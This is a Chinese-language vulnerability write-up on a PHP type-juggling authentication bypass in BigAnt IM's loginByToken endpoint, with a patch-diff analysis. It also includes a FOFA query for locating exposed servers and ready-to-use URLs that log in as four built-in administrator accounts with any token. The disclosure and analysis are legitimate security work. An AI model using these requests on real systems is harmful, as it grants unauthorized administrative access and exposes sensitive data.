漏洞简介
杭州九麒科技大蚂蚁 (BigAnt) 即时通讯系统是一款企业级IM通信管理系统,提供多种功能支持。该系统的 loginByToken 接口存在逻辑错误,可导致权限绕过以任意用户身份登录进系统,从而造成系统敏感信息泄露,甚至系统权限丢失。
影响版本
BigAnt 5.5.x 及以上版本用户

经过测试,最新版本 6.0.1.20250407.1 也受影响
fofa语法
(body="/Public/static/admin/admin_common.js" && body="/Public/lang/zh-cn.js.js") || title="即时通讯 系统登录" && body="/Public/static/ukey/Syunew3.js"
漏洞分析
这个漏洞是在分析官方补丁的时候发现的,还记得上一篇文章 大蚂蚁 (BigAnt) 即时通讯系统 upload_file 任意文件上传漏洞 提到的补丁文件部分除了上传漏洞的DispersedAddinController,另一个就是本次漏洞的主角 Application/Home/Controller/LoginController.class.php,我对比了补丁和安装的最新版本发现差异如下

原本如下逻辑代码
$isok= D("Common/AppCenter")->checkToken($uid,$token);
if(!$isok){
die(json_encode(sp_api_fail(ERR_OP_ERR, "token 效验失败", JSON_UNESCAPED_UNICODE))) ;
}
补丁修改成如下逻辑
$res= D("Common/AppCenter")->checkToken($uid,$token);
if($res!==true){
die(json_encode(sp_api_fail(ERR_OP_ERR, "token 效验失败", ),JSON_UNESCAPED_UNICODE)) ;
}
其中有两处非常重要的改变在比较部分,这是一个典型的 php 类型混淆(Type Juggling)漏洞。
!$isok 使用松散类型判断,以下情况都会被认为是"验证通过":
$isok = "error"; // !"error" = false → 验证通过 ❌
$isok = 1; // !1 = false → 验证通过 ❌
$isok = ["data"]; // !["data"] = false → 验证通过 ❌
$isok = "0"; // !"0" = true → 验证失败(但逻辑可能不符预期)
如果 checkToken() 返回错误信息字符串或其他非布尔值,攻击者可能绕过验证。
跟进 checkToken() 方法看下

只有成功验证才会返回true,可以正确进行比较,返回其他字符串都会导致比较被绕过,从而导致鉴权绕过。
$isok = D("Common/AppCenter")->checkToken($uid, $token);
if (!$isok) {
die(...); // 验证失败
}
// 继续执行(验证通过)
PHP 类型转换规则:非空字符串在布尔上下文中为 true
// 验证失败时
$isok = " uid xxx token 传入参数为空"; // 返回错误信息字符串
!$isok = !"非空字符串" = !true = false
if (false) { // 条件不成立
die(...); // ❌ 不会执行
}
// ✅ 继续执行 → 认证被绕过!
因此攻击者只需发送任意请求(甚至不需要提供 token),就能绕过认证,所有验证失败的情况都会返回字符串 → !字符串 = false → 绕过认证。
而补丁使用if($res !== true)
使用 !==(严格不等于)确保:
- 只有当
$res是布尔值true时才通过验证 - 任何其他值(
false、null、字符串、数组等)都会触发失败
在进行安全相关的布尔判断时,始终使用严格比较(=== 或 !==)才是最佳实践!
漏洞复现
以下系统内置四种管理用户都可直接登录
系统管理员
- /home/login/loginByToken?uid=1&token=asdasdasdadasadad
安全管理员
- /home/login/loginByToken?uid=2&token=asdasdasdadasadad
审计管理员
- /home/login/loginByToken?uid=3&token=asdasdasdadasadad
超级管理员
- /home/login/loginByToken?uid=4&token=asdasdasdadasadad



